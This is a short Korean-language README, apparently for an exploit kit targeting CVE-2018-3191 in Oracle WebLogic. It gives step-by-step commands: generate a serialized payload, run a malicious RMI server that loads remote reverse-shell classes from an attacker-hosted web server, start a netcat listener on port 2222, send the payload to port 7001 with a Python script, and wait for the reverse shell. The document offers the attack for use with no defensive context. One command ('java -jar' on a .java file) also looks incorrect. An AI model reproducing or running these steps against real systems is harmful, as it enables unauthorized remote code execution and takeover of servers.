CVE-2018-3191-Rce-Exploit
작성자: Break
1단계: java -jar GenPayload.java output SJpayload.bin, 주소는 RMI 서버 주소
2단계: java -jar RMISERVER.jar httpaddress, RMI 서버는 1099 포트에서 수신 대기하며 웹 서버에서 원격 Reverse 클래스를 로드
3단계: 두 개의 파일(reverse shell) LoadObject.class 및 StreamConnection.class를 HTTP 서버에 배치하고 URL로 접근 가능하게 함
4단계: nc -llp 2222
5단계: python weblogic.py weblogicAddress 7001 SJpayload
6단계: reverse shell을 기다리세요. 행운을 빕니다.